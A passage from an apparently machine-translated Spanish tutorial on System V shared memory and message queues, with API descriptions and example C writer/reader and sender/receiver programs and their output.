Esta llamada devolvería un identificador de memoria compartida válido (utilizado para más llamadas de memoria compartida) en caso de éxito y -1 en caso de falla. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
#include <sys/types.h>
#include <sys/shm.h>
void * shmat(int shmid, const void *shmaddr, int shmflg)
La llamada al sistema anterior realiza una operación de memoria compartida para el segmento de memoria compartida del Sistema V, es decir, adjunta un segmento de memoria compartida al espacio de direcciones del proceso de llamada. Los argumentos que deben pasarse son los siguientes:
The first argument, shmid,es el identificador del segmento de memoria compartida. Este id es el identificador de memoria compartida, que es el valor de retorno de la llamada al sistema shmget ().
The second argument, shmaddr,es especificar la dirección adjunta. Si shmaddr es NULL, el sistema elige por defecto la dirección adecuada para adjuntar el segmento. Si shmaddr no es NULL y SHM_RND se especifica en shmflg, el adjunto es igual a la dirección del múltiplo más cercano de SHMLBA (Dirección de límite inferior). De lo contrario, shmaddr debe ser una dirección alineada con la página en la que se produce / inicia el adjunto de memoria compartida.
The third argument, shmflg, especifica los indicadores de memoria compartida requeridos, como SHM_RND (dirección de redondeo a SHMLBA) o SHM_EXEC (permite que se ejecute el contenido del segmento) o SHM_RDONLY (adjunta el segmento con fines de solo lectura, por defecto es de lectura y escritura) o SHM_REMAP (reemplaza la asignación existente en el rango especificado por shmaddr y continúa hasta el final del segmento).
Esta llamada devolvería la dirección del segmento de memoria compartida adjunta en caso de éxito y -1 en caso de falla. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
#include <sys/types.h>
#include <sys/shm.h>
int shmdt(const void *shmaddr)
La llamada al sistema anterior realiza una operación de memoria compartida para el segmento de memoria compartida del Sistema V de separar el segmento de memoria compartida del espacio de direcciones del proceso de llamada. El argumento que debe pasarse es:
El argumento, shmaddr, es la dirección del segmento de memoria compartida que se va a separar. El segmento que se va a separar debe ser la dirección devuelta por la llamada al sistema shmat ().
Esta llamada devolvería 0 en caso de éxito y -1 en caso de error. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
#include <sys/ipc.h>
#include <sys/shm.h>
int shmctl(int shmid, int cmd, struct shmid_ds *buf)
La llamada al sistema anterior realiza una operación de control para un segmento de memoria compartida del Sistema V. Se deben pasar los siguientes argumentos:
El primer argumento, shmid, es el identificador del segmento de memoria compartida. Este id es el identificador de memoria compartida, que es el valor de retorno de la llamada al sistema shmget ().
El segundo argumento, cmd, es el comando para realizar la operación de control requerida en el segmento de memoria compartida.
Los valores válidos para cmd son:
IPC_STAT- Copia la información de los valores actuales de cada miembro de la estructura shmid_ds a la estructura pasada señalada por buf. Este comando requiere permiso de lectura para el segmento de memoria compartida.
IPC_SET - Establece el ID de usuario, ID de grupo del propietario, permisos, etc. señalados por la estructura buf.
IPC_RMID- Marca el segmento a destruir. El segmento se destruye solo después de que el último proceso lo haya separado.
IPC_INFO - Devuelve la información sobre los límites y parámetros de la memoria compartida en la estructura apuntada por buf.
SHM_INFO - Devuelve una estructura shm_info que contiene información sobre los recursos del sistema consumidos por la memoria compartida.
El tercer argumento, buf, es un puntero a la estructura de memoria compartida llamada struct shmid_ds. Los valores de esta estructura se usarían para set o get según cmd.
Esta llamada devuelve el valor dependiendo del comando pasado. Tras el éxito de IPC_INFO y SHM_INFO o SHM_STAT devuelve el índice o identificador del segmento de memoria compartida o 0 para otras operaciones y -1 en caso de falla. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
Consideremos el siguiente programa de muestra.
Cree dos procesos, uno para escribir en la memoria compartida (shm_write.c) y otro para leer en la memoria compartida (shm_read.c)
El programa realiza la escritura en la memoria compartida mediante el proceso de escritura (shm_write.c) y la lectura de la memoria compartida mediante el proceso de lectura (shm_read.c)
En la memoria compartida, el proceso de escritura crea una memoria compartida de tamaño 1K (y banderas) y adjunta la memoria compartida
El proceso de escritura escribe 5 veces los alfabetos de 'A' a 'E' cada uno de 1023 bytes en la memoria compartida. El último byte significa el final del búfer
El proceso de lectura leería de la memoria compartida y escribiría en la salida estándar
Las acciones del proceso de lectura y escritura se realizan simultáneamente
Después de completar la escritura, el proceso de escritura se actualiza para indicar la finalización de la escritura en la memoria compartida (con la variable completa en la estructura shmseg)
El proceso de lectura realiza la lectura desde la memoria compartida y se muestra en la salida hasta que obtiene una indicación de la finalización del proceso de escritura (variable completa en struct shmseg)
Realiza el proceso de lectura y escritura unas cuantas veces para simplificar y también para evitar bucles infinitos y complicar el programa.
A continuación se muestra el código para el proceso de escritura (Escritura en memoria compartida - Archivo: shm_write.c)
/* Filename: shm_write.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int fill_buffer(char * bufptr, int size);
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
char *bufptr;
int spaceavailable;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from buffer to shared memory */
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
for (numtimes = 0; numtimes < 5; numtimes++) {
shmp->cnt = fill_buffer(bufptr, spaceavailable);
shmp->complete = 0;
printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
sleep(3);
}
printf("Writing Process: Wrote %d times\n", numtimes);
shmp->complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
int fill_buffer(char * bufptr, int size) {
static char ch = 'A';
int filled_count;
//printf("size is %d\n", size);
memset(bufptr, ch, size - 1);
bufptr[size-1] = '\0';
if (ch > 122)
ch = 65;
if ( (ch >= 65) && (ch <= 122) ) {
if ( (ch >= 91) && (ch <= 96) ) {
ch = 65;
}
}
filled_count = strlen(bufptr);
//printf("buffer count is: %d\n", filled_count);
//printf("buffer filled is:%s\n", bufptr);
ch++;
return filled_count;
}
Pasos de compilación y ejecución
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Wrote 5 times
Writing Process: Complete
A continuación se muestra el código para el proceso de lectura (lectura de la memoria compartida y escritura en la salida estándar - Archivo: shm_read.c)
/* Filename: shm_read.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from shared memory to stdout*/
while (shmp->complete != 1) {
printf("segment contains : \n\"%s\"\n", shmp->buf);
if (shmp->cnt == -1) {
perror("read");
return 1;
}
printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
sleep(3);
}
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Pasos de compilación y ejecución
segment contains :
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
Reading Process: Shared Memory: Read 1023 bytes
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
¿Por qué necesitamos colas de mensajes cuando ya tenemos la memoria compartida? Sería por múltiples razones, intentemos dividir esto en múltiples puntos para simplificar:
Como se entiende, una vez que un proceso recibe el mensaje, ya no estará disponible para ningún otro proceso. Mientras que en la memoria compartida, los datos están disponibles para que múltiples procesos accedan.
Si queremos comunicarnos con pequeños formatos de mensaje.
Los datos de la memoria compartida deben protegerse con sincronización cuando varios procesos se comunican al mismo tiempo.
La frecuencia de escritura y lectura usando la memoria compartida es alta, entonces sería muy complejo implementar la funcionalidad. No vale la pena con respecto a la utilización en este tipo de casos.
¿Qué pasa si todos los procesos no necesitan acceder a la memoria compartida pero muy pocos procesos solo la necesitan? Sería mejor implementar con colas de mensajes.
Si queremos comunicarnos con diferentes paquetes de datos, digamos que el proceso A envía el tipo de mensaje 1 al proceso B, el tipo de mensaje 10 al proceso C y el tipo de mensaje 20 al proceso D. En este caso, es más sencillo implementarlo con colas de mensajes. Para simplificar el tipo de mensaje dado como 1, 10, 20, puede ser 0 o + ve o –ve como se describe a continuación.
Por supuesto, el orden de la cola de mensajes es FIFO (Primero en entrar, primero en salir). El primer mensaje insertado en la cola es el primero que se recupera.
El uso de la memoria compartida o las colas de mensajes depende de la necesidad de la aplicación y de la eficacia con la que se pueda utilizar.
La comunicación mediante colas de mensajes puede ocurrir de las siguientes formas:
Escribir en la memoria compartida por un proceso y leer de la memoria compartida por otro proceso. Como sabemos, la lectura también se puede realizar con múltiples procesos.
Escritura en la memoria compartida por un proceso con diferentes paquetes de datos y lectura de ella por múltiples procesos, es decir, según el tipo de mensaje.
Habiendo visto cierta información sobre las colas de mensajes, ahora es el momento de verificar la llamada al sistema (System V) que admite las colas de mensajes.
Para realizar la comunicación utilizando colas de mensajes, los siguientes son los pasos:
Step 1 - Cree una cola de mensajes o conéctese a una cola de mensajes ya existente (msgget ())
Step 2 - Escribir en la cola de mensajes (msgsnd ())
Step 3 - Leer de la cola de mensajes (msgrcv ())
Step 4 - Realizar operaciones de control en la cola de mensajes (msgctl ())
Ahora, revisemos la sintaxis y cierta información sobre las llamadas anteriores.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgget(key_t key, int msgflg)
Esta llamada al sistema crea o asigna una cola de mensajes de System V. Se deben pasar los siguientes argumentos:
El primer argumento, clave, reconoce la cola de mensajes. La clave puede ser un valor arbitrario o uno que se pueda derivar de la función de biblioteca ftok ().
El segundo argumento, shmflg, especifica los indicadores de cola de mensajes requeridos, como IPC_CREAT (creando una cola de mensajes si no existe) o IPC_EXCL (se usa con IPC_CREAT para crear la cola de mensajes y la llamada falla, si la cola de mensajes ya existe). También es necesario aprobar los permisos.
Note - Consulte las secciones anteriores para obtener detalles sobre los permisos.
Esta llamada devolvería un identificador de cola de mensajes válido (utilizado para llamadas posteriores de la cola de mensajes) en caso de éxito y -1 en caso de error. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
Varios errores con respecto a esta llamada son EACCESS (permiso denegado), EEXIST (la cola ya existe no se puede crear), ENOENT (la cola no existe), ENOMEM (no hay suficiente memoria para crear la cola), etc.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)
Esta llamada al sistema envía / agrega un mensaje a la cola de mensajes (Sistema V). Se deben pasar los siguientes argumentos:
El primer argumento, msgid, reconoce la cola de mensajes, es decir, el identificador de la cola de mensajes. El valor del identificador se recibe tras el éxito de msgget ()
El segundo argumento, msgp, es el puntero al mensaje, enviado a la persona que llama, definido en la estructura de la siguiente forma:
struct msgbuf {
long mtype;
char mtext[1];
};
La variable mtype se utiliza para comunicarse con diferentes tipos de mensajes, explicados en detalle en la llamada msgrcv (). La variable mtext es una matriz u otra estructura cuyo tamaño está especificado por msgsz (valor positivo). Si no se menciona el campo mtext, se considera un mensaje de tamaño cero, lo cual está permitido.
El tercer argumento, msgsz, es el tamaño del mensaje (el mensaje debe terminar con un carácter nulo)
El cuarto argumento, msgflg, indica ciertos indicadores como IPC_NOWAIT (regresa inmediatamente cuando no se encuentra ningún mensaje en la cola o MSG_NOERROR (trunca el texto del mensaje, si hay más de msgsz bytes)
Esta llamada devolvería 0 en caso de éxito y -1 en caso de error. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)
Esta llamada al sistema recupera el mensaje de la cola de mensajes (Sistema V). Se deben pasar los siguientes argumentos:
El primer argumento, msgid, reconoce la cola de mensajes, es decir, el identificador de la cola de mensajes. El valor del identificador se recibe tras el éxito de msgget ()
El segundo argumento, msgp, es el puntero del mensaje recibido de la persona que llama. Se define en la estructura de la siguiente forma:
struct msgbuf {
long mtype;
char mtext[1];
};
La variable mtype se utiliza para comunicarse con diferentes tipos de mensajes. La variable mtext es una matriz u otra estructura cuyo tamaño está especificado por msgsz (valor positivo). Si no se menciona el campo mtext, se considera un mensaje de tamaño cero, lo cual está permitido.
El tercer argumento, msgsz, es el tamaño del mensaje recibido (el mensaje debe terminar con un carácter nulo)
El cuarto argumento, msgtype, indica el tipo de mensaje:
If msgtype is 0 - Lee el primer mensaje recibido en la cola
If msgtype is +ve - Lee el primer mensaje en la cola de tipo msgtype (si msgtype es 10, entonces lee solo el primer mensaje de tipo 10 aunque otros tipos puedan estar en la cola al principio)
If msgtype is –ve - Lee el primer mensaje del tipo más bajo menor o igual al valor absoluto del tipo de mensaje (digamos, si msgtype es -5, entonces lee el primer mensaje de tipo menor que 5, es decir, el tipo de mensaje de 1 a 5)
El quinto argumento, msgflg, indica ciertos indicadores como IPC_NOWAIT (regresa inmediatamente cuando no se encuentra ningún mensaje en la cola o MSG_NOERROR (trunca el texto del mensaje si hay más de msgsz bytes)
Esta llamada devolvería el número de bytes realmente recibidos en la matriz mtext en caso de éxito y -1 en caso de falla. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgctl(int msgid, int cmd, struct msqid_ds *buf)
Esta llamada al sistema realiza operaciones de control de la cola de mensajes (Sistema V). Se deben pasar los siguientes argumentos:
El primer argumento, msgid, reconoce la cola de mensajes, es decir, el identificador de la cola de mensajes. El valor del identificador se recibe tras el éxito de msgget ()
El segundo argumento, cmd, es el comando para realizar la operación de control requerida en la cola de mensajes. Los valores válidos para cmd son:
IPC_STAT- Copia información de los valores actuales de cada miembro de la estructura msqid_ds a la estructura pasada señalada por buf. Este comando requiere permiso de lectura en la cola de mensajes.
IPC_SET - Establece el ID de usuario, el ID de grupo del propietario, los permisos, etc. señalados por la estructura buf.
IPC_RMID - Elimina la cola de mensajes de inmediato.
IPC_INFO - Devuelve información sobre los límites y parámetros de la cola de mensajes en la estructura señalada por buf, que es de tipo struct msginfo
MSG_INFO - Devuelve una estructura msginfo que contiene información sobre los recursos del sistema consumidos por la cola de mensajes.
El tercer argumento, buf, es un puntero a la estructura de la cola de mensajes denominada struct msqid_ds. Los valores de esta estructura se usarían para set o get según cmd.
Esta llamada devolvería el valor dependiendo del comando pasado. El éxito de IPC_INFO y MSG_INFO o MSG_STAT devuelve el índice o identificador de la cola de mensajes o 0 para otras operaciones y -1 en caso de falla. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
Habiendo visto la información básica y las llamadas al sistema con respecto a las colas de mensajes, ahora es el momento de verificar con un programa.
Veamos la descripción antes de mirar el programa -
Step 1 - Cree dos procesos, uno para enviar a la cola de mensajes (msgq_send.c) y otro para recuperar de la cola de mensajes (msgq_recv.c)
Step 2- Creando la clave, usando la función ftok (). Para esto, inicialmente se crea el archivo msgq.txt para obtener una clave única.
Step 3 - El proceso de envío realiza lo siguiente.
Lee la entrada de cadena del usuario
Elimina la nueva línea, si existe
Se envía a la cola de mensajes
Repite el proceso hasta el final de la entrada (CTRL + D)
Una vez que se recibe el final de la entrada, envía el mensaje "fin" para indicar el final del proceso
Step 4 - En el proceso de recepción, realiza lo siguiente.
- Lee el mensaje de la cola
- Muestra la salida
- Si el mensaje recibido es "fin", finaliza el proceso y sale
Para simplificar, no estamos usando el tipo de mensaje para esta muestra. Además, un proceso está escribiendo en la cola y otro proceso está leyendo desde la cola. Esto se puede ampliar según sea necesario, es decir, idealmente un proceso escribiría en la cola y varios procesos leerían de la cola.
Ahora, verifiquemos el proceso (envío de mensajes a la cola) - Archivo: msgq_send.c
/* Filename: msgq_send.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int len;
key_t key;
system("touch msgq.txt");
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
printf("message queue: ready to send messages.\n");
printf("Enter lines of text, ^D to quit:\n");
buf.mtype = 1; /* we don't really care in this case */
while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) {
len = strlen(buf.mtext);
/* remove newline at end, if it exists */
if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
}
strcpy(buf.mtext, "end");
len = strlen(buf.mtext);
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
if (msgctl(msqid, IPC_RMID, NULL) == -1) {
perror("msgctl");
exit(1);
}
printf("message queue: done sending messages.\n");
return 0;
}
Pasos de compilación y ejecución
message queue: ready to send messages.
Enter lines of text, ^D to quit:
this is line 1
this is line 2
message queue: done sending messages.
A continuación se muestra el código del proceso de recepción de mensajes (recuperando el mensaje de la cola) - Archivo: msgq_recv.c
/* Filename: msgq_recv.c */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int toend;
key_t key;
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */
perror("msgget");
exit(1);
}
printf("message queue: ready to receive messages.\n");
for(;;) { /* normally receiving never ends but just to make conclusion
/* this program ends wuth string of end */
if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
perror("msgrcv");
exit(1);
}
printf("recvd: \"%s\"\n", buf.mtext);
toend = strcmp(buf.mtext,"end");
if (toend == 0)
break;
}
printf("message queue: done receiving messages.\n");
system("rm msgq.txt");
return 0;
}
Pasos de compilación y ejecución
message queue: ready to receive messages.
recvd: "this is line 1"
recvd: "this is line 2"
recvd: "end"
message queue: done receiving messages.
